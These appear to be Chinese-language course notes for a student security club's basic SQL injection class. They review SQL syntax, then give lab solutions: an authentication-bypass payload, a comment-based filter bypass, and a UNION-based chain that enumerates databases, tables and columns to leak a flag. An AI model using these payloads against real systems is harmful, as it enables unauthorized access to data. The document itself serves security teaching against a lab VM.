---
title: Basic SQLi
---
# Basic SQLi by Chess
> [slides](https://slides.com/chesskuo/200826_sqli/fullscreen)
> [課程影片連結](https://youtu.be/HEYYIkkCJis)
> [slido 匿名發問](https://app.sli.do/event/rux28f3w/live/questions)(連結已關閉)
:::info
- 請大家先下載這個 VM 唷 (1.7G)
bit.ly/sqli_vm
- 還有 VBox 需要裝擴充套件 VM 才開的起來喔
VirtualBox 6.1.12 Oracle VM VirtualBox Extension Pack
[點我下載](https://download.virtualbox.org/virtualbox/6.1.12/Oracle_VM_VirtualBox_Extension_Pack-6.1.12.vbox-extpack)
:::
## Build Environment
[vm](bit.ly/sqli_vm)
## What is SQL
- Sructured Query Language
### How to use
- Create
- Read
- Update
- Delete
### Syntax
- SHOW
- CREATE
- 建立表或資料庫
- ex.
```SQL
CREATE DATABASE <db_name>;
CREATE TABLE <tb_name>(
<col_name1> type,
<col_name2> type
);```
- USE
- 使用資料庫
- 如要操作table要先USE
- ex. USE <db_name>;
- DROP
- 刪除
- ex. DROP DATABASE <db_name>;
- SELECT
- 搜索資料
- ex. SELECT <col_name> FROM <tb_name>;
- WHERE
- 設定檢索條件用
- 可配合OR 和 AND
- ex. SELECT * FROM test WHERE id=100;
- ORDER BY
- ASC 正序(default)
- DESC 反序
- ex. SELECT * FROM people ORDER BY money DESC; (有錢的會在頂端)
- LIMIT
- 限制輸出數量
- ex. SELECT * FROM <tb_name> LIMIT <from>,<n>
- UNION
- INSERT
- 插入資料到table中
- ex. INSERT INTO <tb_name> VALUES (<1>, ...);
- DELETE
- 刪除資料
- UPDATE
- 更新資料內容
- ex.
```SQL
UPDATE <tb_name> SET <col_name1> = <value>, ... WHERE <condition>;
- LIKE
### Type
#### Number
- INT(4bytes)
- TINYINT(1byte)
- SMALLINT(2bytes)
- BIGINT(8bytes)
- FLOAT
- DOUBLE
#### String
- CHAR
- VARCHAR
#### Date
- DATE
- TIME
- DATETIME
- TIMESTAMP
## What is SQLi
刻意拼湊SQL語句來獲取資訊或攻擊
## SQLi Labs
### sqli 01
```sql
admin')#
```
#可用%23代替
### sqli 02
- `/**/` 可以取代 sql 中的空白,因此可以繞過 `preg_replace`
- 利用原本語法最後的單引號關閉 `admin` 字串
```sql
'/**/or/**/username='admin
```
### sqli 03
- 首先猜出有幾個 col,發現為 4,發現 2, 3 出現在了輸出中,可以利用這兩個來 leak 出所需的資訊
```sql
' union select 1,2,3,4#
```
- 接著 leak 出 server 中有哪些 db
```sql
' union select 1,2,group_concat(schema_name),4 from information_schema.schemata#
```
- 找 `labs` 這個 db 中有哪些 table
```sql
' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='labs'#
```
- 找 `users` 這個 table 中有哪些 column
```sql
' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='labs' and table_name='users'#
```
- 得到有 `flag` 這個 column
```sql
' union select 1,2,group_concat(flag),4 from labs.users#
```
---
###### tags: `Enlightened` `NISRA` `2020`
<style>
.navbar-brand::after { content: " × NISRA"; }
</style>